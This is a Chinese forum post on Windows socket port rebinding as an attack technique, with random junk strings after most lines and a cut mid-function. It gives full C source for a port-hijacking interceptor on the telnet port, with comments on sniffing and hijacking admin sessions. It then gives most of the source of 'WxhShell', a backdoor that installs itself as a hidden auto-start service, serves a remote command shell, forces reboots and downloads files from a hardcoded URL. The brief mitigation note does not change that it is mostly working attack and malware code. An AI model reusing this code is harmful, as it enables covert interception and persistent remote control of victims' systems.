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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X0,?~i6Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p#~Dq(Q  
zF6]2Y?k%  
  saddr.sin_family = AF_INET; Qg\OJmv  
JY+ N+c\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ccUq!1  
?3Ytn+Py  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); VPB,8zb ]  
bN6FhKg|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 cI9}YSk  
+[MzF EE[  
  这意味着什么?意味着可以进行如下的攻击: <mm. b  
Jv*(DFt!v  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?]`kc  
!);kjXQS?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]vJ] i <|b  
H0zKL]D'>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Fu*~{n  
?F@0"qi  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  X  8V^  
t,*hxzD"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jXBAo  
&TmN^R>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #PzRhanX  
Q0)6 2[cMm  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 kvzGI>H:  
q1Ja*=r  
  #include ?h;Zdv>`xz  
  #include o<*H!oyP\  
  #include m"{D}(TA  
  #include    D0(%{S^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _E[zYSo`  
  int main() $YM>HZe-  
  { GZ.F q  
  WORD wVersionRequested; OC$Y8Ofr  
  DWORD ret; pg\Ylk"T  
  WSADATA wsaData; 6dG:3n}  
  BOOL val; ##gq{hgjb$  
  SOCKADDR_IN saddr; u? a*bW  
  SOCKADDR_IN scaddr; JmJ8s hq  
  int err; N|n"JKw)  
  SOCKET s; ,4bqjkX5q  
  SOCKET sc; 9oly=&lJ  
  int caddsize; <q V<dK&W  
  HANDLE mt; W0]W[b,:u$  
  DWORD tid;   Gz]p2KBg  
  wVersionRequested = MAKEWORD( 2, 2 ); CS;bm `8a  
  err = WSAStartup( wVersionRequested, &wsaData ); NuLyu=.?  
  if ( err != 0 ) { jl;%?bx  
  printf("error!WSAStartup failed!\n"); iRo/~(  
  return -1; '!)|;qe  
  } Jww LAQ5  
  saddr.sin_family = AF_INET; [NE:$@  
   _S43_hW  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5]/i[T_  
bk@F/KqL  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <,%qt_ !  
  saddr.sin_port = htons(23); W}<'Y@[ ,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lg)jc3  
  { (mHCK5  
  printf("error!socket failed!\n"); 481SDG[b  
  return -1; |IbCN  
  } _5F8F4QY`  
  val = TRUE; 0B0Uay'd_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 lx8@;9fLy  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B'( /W@  
  { O7p>"Bh  
  printf("error!setsockopt failed!\n"); O1+2Z\F  
  return -1; c#?JW:^|Df  
  } j'#Y$d1.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; xFU*,Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 H"_ZqEg  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :zXkQQD8`  
i%m]<yElm  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) kW"6Gc&HUN  
  { >z'kCv  
  ret=GetLastError(); _e%jM[  
  printf("error!bind failed!\n"); Nwu,:}T  
  return -1; }g1V6 `8&  
  } VKcO]_W1  
  listen(s,2); 4{?Djnh  
  while(1) Y#9dVUS  
  { UADD 7d  
  caddsize = sizeof(scaddr); oe<9CK:?>  
  //接受连接请求 :J|t! `  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); F ] e]  
  if(sc!=INVALID_SOCKET) =-XI)JV#  
  { 0{0|M8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ')k n  
  if(mt==NULL) o1x IGP<  
  { Tw|cgB  
  printf("Thread Creat Failed!\n"); 3<ikMUq&  
  break; O s*B%,}  
  } h rL_. 4  
  } 8lAs~c  
  CloseHandle(mt); }P8@\2@=T  
  } ;Kq/[$~0  
  closesocket(s); F dR!jt  
  WSACleanup(); \ W3\P=  
  return 0; ;9>(yJI+  
  }   M_-LI4>  
  DWORD WINAPI ClientThread(LPVOID lpParam) vs3px1Xe#  
  { 8]!%mrS  
  SOCKET ss = (SOCKET)lpParam; r|U'2+vn  
  SOCKET sc; l+e L:C!  
  unsigned char buf[4096]; s68&AB   
  SOCKADDR_IN saddr; %E\&9,  
  long num; L0\97AF  
  DWORD val; e;1n!_l\  
  DWORD ret; *#O8 ^3D_c  
  //如果是隐藏端口应用的话,可以在此处加一些判断 y:6&P6`dx  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N*~G ]  
  saddr.sin_family = AF_INET; {U:c95#.!S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); RrMC[2=  
  saddr.sin_port = htons(23); iGG;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y|eB;Dm1q  
  { jS LNQ  
  printf("error!socket failed!\n"); `~zY!sK  
  return -1; .G"UM>.}d  
  } GtQ$`~r  
  val = 100; pkd#SY  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qd@x#"qT  
  { %1E:rw@  
  ret = GetLastError(); . zM  
  return -1; OGgP~hd  
  } Tk[`kmb  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'Xl[ y  
  { ,L iX  
  ret = GetLastError(); de.!~%D  
  return -1; gv7(-I  
  } k)VoDxMKK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8*sZ/N.  
  { ich\`j[i  
  printf("error!socket connect failed!\n"); +b<q4W  
  closesocket(sc); kHj|:,'sV  
  closesocket(ss); =yn|.%b  
  return -1; ,uEi*s>  
  } vA(V.s`  
  while(1) <k2Qcicy  
  { dl:uI5]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 EeW%5/;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~-r*2bR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P<AN`un  
  num = recv(ss,buf,4096,0); /RLeD  
  if(num>0) |Qq_;x]  
  send(sc,buf,num,0); ,j{$SuZ M  
  else if(num==0) i3T]<&+j5  
  break; dW3q  
  num = recv(sc,buf,4096,0); 1aC ?*,e?  
  if(num>0) 7x *]  
  send(ss,buf,num,0); !<psK[  
  else if(num==0) \}O'?)(1  
  break; ZJL[#}*  
  } l56D?E8  
  closesocket(ss); [12^NEt  
  closesocket(sc); ~~h@(2/Q>x  
  return 0 ; }"?v=9.G  
  } F-MN%WD~  
aE0yO#=   
Iu`B7UOF  
========================================================== `WDN T0@M  
_e/>CiN/  
下边附上一个代码,,WXhSHELL 'je=.{[lWt  
7<W7pXDp  
========================================================== wO6`Ap t1:  
Etk`>,]Y>y  
#include "stdafx.h" zY@|KV"^r  
&%QtUPvr9  
#include <stdio.h> BdHLow  
#include <string.h> &5fM8 Opkd  
#include <windows.h> vi+k#KE  
#include <winsock2.h> <^}{sdOyu  
#include <winsvc.h> VH&6Tm1  
#include <urlmon.h> V,=V   
$7q'Be@{  
#pragma comment (lib, "Ws2_32.lib") \IZfp=On  
#pragma comment (lib, "urlmon.lib") pgK)  
Xne{:!btw  
#define MAX_USER   100 // 最大客户端连接数 -3 }  
#define BUF_SOCK   200 // sock buffer +we3BE.  
#define KEY_BUFF   255 // 输入 buffer @pueM+(L&  
b"-eQb  
#define REBOOT     0   // 重启 !(=bH"P  
#define SHUTDOWN   1   // 关机 b[<Q_7~2  
v#EXlpS  
#define DEF_PORT   5000 // 监听端口 pVTx# rY  
;\yVwur  
#define REG_LEN     16   // 注册表键长度 D'y/ pv}!  
#define SVC_LEN     80   // NT服务名长度 4zyy   
IaDc hI  
// 从dll定义API /6_>d $  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D]nVhOg|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PqMU&H_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i*`;/x'+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q5il9*)d (  
V!=1 !"}OG  
// wxhshell配置信息 $j(2M?.>#  
struct WSCFG { g%1FTl  
  int ws_port;         // 监听端口 #S+GI!  
  char ws_passstr[REG_LEN]; // 口令 cE S3<`[K  
  int ws_autoins;       // 安装标记, 1=yes 0=no " $5J7  
  char ws_regname[REG_LEN]; // 注册表键名 ;74hOHDS  
  char ws_svcname[REG_LEN]; // 服务名 Vw7NLTE}`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nKn,i$sO/.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f]F]wg\_f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {5}UP@h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _aOisN{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z{/0 P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sMh3IL9(*  
N~H9|CX  
}; r0=Aru5n  
a}l^+  
// default Wxhshell configuration \ ]  
struct WSCFG wscfg={DEF_PORT, RH+3x7 l  
    "xuhuanlingzhe", 7o?6Pv%HJC  
    1, fDo )~t*~  
    "Wxhshell", `PI,tmv!  
    "Wxhshell", WZ}c)r*R  
            "WxhShell Service", "7_6iB&@<  
    "Wrsky Windows CmdShell Service", yE3g0@*  
    "Please Input Your Password: ", mO$]f4}  
  1, <'H^}gQow  
  "http://www.wrsky.com/wxhshell.exe", #&vP(4p  
  "Wxhshell.exe" _iBNy   
    }; S[!-M\b  
VIo %((  
// 消息定义模块 Lc;4 Hg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mVGQyX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =VkbymIZ4y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OZdiM&Zss  
char *msg_ws_ext="\n\rExit."; gf6<`+/  
char *msg_ws_end="\n\rQuit."; @;m7u  
char *msg_ws_boot="\n\rReboot..."; /YYI 4  
char *msg_ws_poff="\n\rShutdown..."; wkm;yCF+  
char *msg_ws_down="\n\rSave to "; SEm3T4dfzf  
,ZyTYD|7  
char *msg_ws_err="\n\rErr!";  WTi8  
char *msg_ws_ok="\n\rOK!"; OF^v;4u  
9I*zgM!F  
char ExeFile[MAX_PATH]; F)4Y;;#  
int nUser = 0; &mj98  
HANDLE handles[MAX_USER]; _uL{@(  
int OsIsNt; )+2GF0%  
\`?l6'!  
SERVICE_STATUS       serviceStatus; a5o&6_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0ts] iQ7  
]Bw2>6W  
// 函数声明 l;$HGoJ  
int Install(void); `9SRiy  
int Uninstall(void); /5:C$ik  
int DownloadFile(char *sURL, SOCKET wsh); Sw~jyUEr  
int Boot(int flag); xMI4*4y(  
void HideProc(void); g1-^@&q  
int GetOsVer(void); D_r&B@4w  
int Wxhshell(SOCKET wsl); wowv>!N!X-  
void TalkWithClient(void *cs); p(/PG+  
int CmdShell(SOCKET sock); ]8*#%^  
int StartFromService(void); XiE  
int StartWxhshell(LPSTR lpCmdLine); L~fx VdUz  
w[Ee#Yaj.-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zrYhx!@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); } =Yvs)  
E/@w6uIK[  
// 数据结构和表定义 k4te[6)  
SERVICE_TABLE_ENTRY DispatchTable[] = .]`LR@qf  
{ E/9h"zowS  
{wscfg.ws_svcname, NTServiceMain}, ,a&N1G.  
{NULL, NULL} *9((X,v@/  
}; ej dYh $  
 }6SfI;  
// 自我安装 uxF88$=!t  
int Install(void) /I|.^ Id|  
{ Eh\0gQ=  
  char svExeFile[MAX_PATH]; e,/b&j*4th  
  HKEY key; _gZ8UZ)  
  strcpy(svExeFile,ExeFile); ?2l#=t?PP  
KWIH5* AM  
// 如果是win9x系统,修改注册表设为自启动 VA*~R S  
if(!OsIsNt) { 1ipfv-hb6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q6'3-@%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NqcmjHvy  
  RegCloseKey(key); WT$m*I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !|K~)4%rj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MJS4^*B\1  
  RegCloseKey(key); p$^}g:  
  return 0; `HXP*Bp#  
    } [*ylC,w  
  } FWqnlK#  
} 7g1" s1~or  
else { cwi HHf>  
|UvM [A|+  
// 如果是NT以上系统,安装为系统服务 /Y:1zLs%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6#P\DT  
if (schSCManager!=0) jH26-b<  
{ iQsv^K!\  
  SC_HANDLE schService = CreateService W,~s0a!  
  ( '3S S%W  
  schSCManager, u*u>F@C8  
  wscfg.ws_svcname, 8%OS ,Z  
  wscfg.ws_svcdisp, p@`rBzGp  
  SERVICE_ALL_ACCESS, DIO @Zo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K r $R"  
  SERVICE_AUTO_START, )%'Lm  
  SERVICE_ERROR_NORMAL, AA&398F  
  svExeFile, ncS.~F  
  NULL, ro{q':Z3  
  NULL, ]nE_(*w  
  NULL, m~Q]#r  
  NULL, nHxos` Qx  
  NULL $ c4Q6w  
  ); Ek\f x*Lz  
  if (schService!=0) c]:sk[u  
  { EacqQFErl  
  CloseServiceHandle(schService); '^pA%I2D  
  CloseServiceHandle(schSCManager); |}zvCD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OU+oS,  
  strcat(svExeFile,wscfg.ws_svcname); m[S6pqz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kb<Nuw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u=B_cA}:  
  RegCloseKey(key); 9An_zrJ%i  
  return 0; fRKO> /OT  
    } 5HP6o  
  } -AwR$<q'  
  CloseServiceHandle(schSCManager); @ @$=MSN  
} ~I<yN`5(a  
} ]Cd 1&  
c|q!C0X[  
return 1; @7 xb/&N  
} r:.5O F}  
='f<_FD  
// 自我卸载 Gw3eO&X3i  
int Uninstall(void) Iw(2D(se  
{ #W`>vd}  
  HKEY key; {?*3Ou  
LQ4GQ qS*  
if(!OsIsNt) { ]UyIp`nV;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qo+_:N  
  RegDeleteValue(key,wscfg.ws_regname); l/[0N@r~  
  RegCloseKey(key); %jEdgD%xV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }5dYmny  
  RegDeleteValue(key,wscfg.ws_regname); QW :-q(s  
  RegCloseKey(key); ^L}fj$  
  return 0; "(j.:jayd  
  } <]I[|4J 7  
} #iD5& klo\  
} UKyOkuY:w  
else { =&?}qa(P  
<-uE pF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v|acKux=t  
if (schSCManager!=0) '/+l\.z"&  
{ D&_Ir>"\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !FOPFPn  
  if (schService!=0) VQE8hQ37  
  { z:f[<`,GT  
  if(DeleteService(schService)!=0) { tK)E*!  
  CloseServiceHandle(schService); *k'D%}N:  
  CloseServiceHandle(schSCManager); w6>'n }  
  return 0; Th,15H DA  
  } sl^i%xJ|l'  
  CloseServiceHandle(schService); ~5$V8yfx h  
  } g2%&/zq/  
  CloseServiceHandle(schSCManager); .Q FGIAM  
} T'.U?G  
} p~1,[]k  
5`,qKJ  
return 1; I12WOL q  
} P6w!r>?6N  
wic"a Y<m  
// 从指定url下载文件 ]0P-?O:  
int DownloadFile(char *sURL, SOCKET wsh) eaP,MkK&  
{ Bv,u kQ\CH  
  HRESULT hr; _ +Ww1 f  
char seps[]= "/"; ,[enGw  
char *token; [O*5\&6  
char *file; FEgM4m.(G<  
char myURL[MAX_PATH]; Ho[Kxe[c  
char myFILE[MAX_PATH]; +^$FA4<~  
@$'k1f(u>  
strcpy(myURL,sURL); ?H8w/{J   
  token=strtok(myURL,seps); Dg~r%F  
  while(token!=NULL) gaBt;@?:Q  
  { [/ uqH  
    file=token; tWL3F?wd  
  token=strtok(NULL,seps); \/,54c2  
  } Q" BIk =  
8 PI>Q  
GetCurrentDirectory(MAX_PATH,myFILE); 7eb^^a?  
strcat(myFILE, "\\"); %g7 !4  
strcat(myFILE, file); 9`4mvK/@  
  send(wsh,myFILE,strlen(myFILE),0); H@0i}!U64  
send(wsh,"...",3,0); 2\&uO   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K(RG:e~R0i  
  if(hr==S_OK) ]~~PD?jh  
return 0; FC<aX[~&3  
else ;taTdzR_  
return 1; xe}d&  
<+D(GH};  
} pk2OZ,14Mj  
E/x``,k  
// 系统电源模块 V 9Bi2\s*  
int Boot(int flag) ]S+NH[g+  
{ >?s[g)np  
  HANDLE hToken; 4UD7!  
  TOKEN_PRIVILEGES tkp; >mRA|0$  
:lz@G 4 =C  
  if(OsIsNt) { KP" lz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a$!|)+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *BzqAi0  
    tkp.PrivilegeCount = 1; d dB}mk6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4:<74B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5Mm><"0  
if(flag==REBOOT) { *(~7H6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9%aBW7@SK  
  return 0; G3]TbU!!T  
} zr%2oFeX,  
else { 'Ba Ba=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $/</J]2`;  
  return 0; FbB^$ ]*  
} h-u63b1"?  
  } [#$:X+lw  
  else { 7Pspx'u  
if(flag==REBOOT) { {HPKp&kl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ft)7Wx" S  
  return 0; l<I.;FN^9@  
} Gs]m; "o|  
else { Xy[O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ) jBPt&  
  return 0; K?0f)@\nx  
} "<6X=|C  
} {xb8H  
dLl/V3C6t  
return 1; -Z )j"J  
} e]-bB#-A  
5P~{*of  
// win9x进程隐藏模块 =Tv;?U C  
void HideProc(void) ~/LO @  
{ :tclYX  
z0[_5Cm/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u|prVzm\m  
  if ( hKernel != NULL ) iX4?5yz~<  
  { 4DaLt&1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n$B SO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ';"W0  
    FreeLibrary(hKernel); %D|p7&  
  }  ,r\  
O ;,BzA-n  
return; :%ms6j/B&V  
} * S4IMfp  
1fwjW0t  
// 获取操作系统版本 ]6)^+(zU  
int GetOsVer(void) "w3#2q&  
{ pC<~\RR  
  OSVERSIONINFO winfo; 1FC'DH!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A/eZnsk  
  GetVersionEx(&winfo); 07pASZ;~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ( <~  
  return 1; *`.h8gTD,  
  else fLM5L_S}Y  
  return 0; :u$nH9kwv  
} )EQWc0iKG  
S8-3Nv'  
// 客户端句柄模块 <1i:Z*l.  
int Wxhshell(SOCKET wsl) r(=  
{ yH}(0  
  SOCKET wsh; t5 :4'%|  
  struct sockaddr_in client; ;!H<W[  
  DWORD myID; GZY8%.1{"a  
La&?0PA  
  while(nUser<MAX_USER) I =G3  
{ >2Z0XEe  
  int nSize=sizeof(client); Mrpz(})  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N<&"_jzm  
  if(wsh==INVALID_SOCKET) return 1; >fG=(1"  
O  |45r   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?U+^ctwv7  
if(handles[nUser]==0) {C+blzh6  
  closesocket(wsh); Wtl/xA_  
else Zj,1)ii  
  nUser++; 37C'knW  
  } iveJh2!#<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (C{l4  
.!#0eAT  
  return 0; nymF`0HYe1  
} $7k"?M_  
zx<:1nF,]  
// 关闭 socket K?]><z{  
void CloseIt(SOCKET wsh) OP:i;%@c  
{ \VQv "wid  
closesocket(wsh); 7 YS'Tf  
nUser--;  J+hiz3N  
ExitThread(0); 04;E^,V  
} SP}!v5.  
(>~:1  
// 客户端请求句柄 `" BFvF#  
void TalkWithClient(void *cs) H&$L1CrdL  
{ qUNK Dt  
%H)^k${  
  SOCKET wsh=(SOCKET)cs; `6bIxb{  
  char pwd[SVC_LEN]; awYnlE/Z1  
  char cmd[KEY_BUFF]; _p;>]0cc.  
char chr[1]; L!:8yJK  
int i,j; {J#SpG 7  
l(&3s:Ud  
  while (nUser < MAX_USER) { c lhmpu  
JATW'HWC|I  
if(wscfg.ws_passstr) { G;RFY!o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HpbSf1VvAf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2bu,_<K.  
  //ZeroMemory(pwd,KEY_BUFF); l', +l{\Z  
      i=0; j@g`Pm%u`  
  while(i<SVC_LEN) { ^,-2";2Xh  
gX29c  
  // 设置超时 EKQ\MC1  
  fd_set FdRead; r{+P2MPW  
  struct timeval TimeOut; hJ~Na\?w  
  FD_ZERO(&FdRead); &m{SWV+   
  FD_SET(wsh,&FdRead); (!cG*FrN  
  TimeOut.tv_sec=8; R1sWhB99  
  TimeOut.tv_usec=0; > nHaMj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !TNp|U!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ??Lda='  
E;`@S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); exW|c~|m{A  
  pwd=chr[0]; >:C0ZQUW  
  if(chr[0]==0xd || chr[0]==0xa) { D*T*of G  
  pwd=0; Ms4~P6;%  
  break; r6WSX;K  
  } B3AWJ1o  
  i++; /RG>n  
    } k7L-J  
y$Nqw9  
  // 如果是非法用户,关闭 socket }Gvu!a#R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); != uaB.  
} \v\f'eQ  
{[I]pm~n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ey/{Z<D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _%R]TlL  
$O'IbA  
while(1) { ;!~&-I0l  
Z]~) ->=}  
  ZeroMemory(cmd,KEY_BUFF); %XC3V7  
5>Kk>[|.  
      // 自动支持客户端 telnet标准   }Qu kn  
  j=0; &':Ecmo~`  
  while(j<KEY_BUFF) { U ;%cp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F<V.OFt  
  cmd[j]=chr[0]; 2gasH11M  
  if(chr[0]==0xa || chr[0]==0xd) { * \$m1g7b  
  cmd[j]=0; C%RYQpY*c  
  break; " ""k}M2A  
  } twWzS 4;  
  j++; o;kxu(>yL'  
    } EvP\;7B  
5^5hhm4  
  // 下载文件 n g,&;E  
  if(strstr(cmd,"http://")) { 969Y[XQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TCWt3\  
  if(DownloadFile(cmd,wsh)) 6 l,8ev  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -I0J-~#  
  else JGHQzC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ndz'^c  
  } saa3BuV 6  
  else { 5:yRFzhqd  
#c%F pR4  
    switch(cmd[0]) { % lK/2-  
  f1$'av  
  // 帮助 <9dfbI)  
  case '?': { YB}m1 g`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4{lrtNd~K  
    break; ^TZ`1:oL#  
  } cjp~I/U  
  // 安装 ,f@\Fs~n  
  case 'i': { xNd p]u  
    if(Install()) Oq9E$0JW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B&+)s5hh  
    else ,,c+R?D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?E}9TQ  
    break; -UoTBvObAm  
    } ]r\FC\n6e  
  // 卸载 :Tcvj5  
  case 'r': { e>T;'7HSS"  
    if(Uninstall()) po!bRk[4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zmc"  
    else 3\ {?L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZLZh$eZZ  
    break; LgxsO:mi  
    } Ie]k/qw+Y  
  // 显示 wxhshell 所在路径 e>2KW5.  
  case 'p': { (O$il  
    char svExeFile[MAX_PATH]; eH ]9"^> o  
    strcpy(svExeFile,"\n\r"); at+Nd K  
      strcat(svExeFile,ExeFile); 5Q/jI$^h0Z  
        send(wsh,svExeFile,strlen(svExeFile),0); GIv l|  
    break; KvH t`  
    } 5X73@Aj  
  // 重启 _iF*BnmN  
  case 'b': { .% 79(r^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TE9Iyl|=  
    if(Boot(REBOOT)) -A,UqEt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u[ E0jI  
    else { Y SB~04  
    closesocket(wsh); ?,`g h}>  
    ExitThread(0); ]++,7Z\AU  
    } ,m Nd#  
    break; d{Cg3v`Rd  
    } 9|WV28PK:  
  // 关机 ][dst@?8Oz  
  case 'd': { 6DG%pF,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "Q`Le{  
    if(Boot(SHUTDOWN)) Ay6]vU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {.])' ~[U  
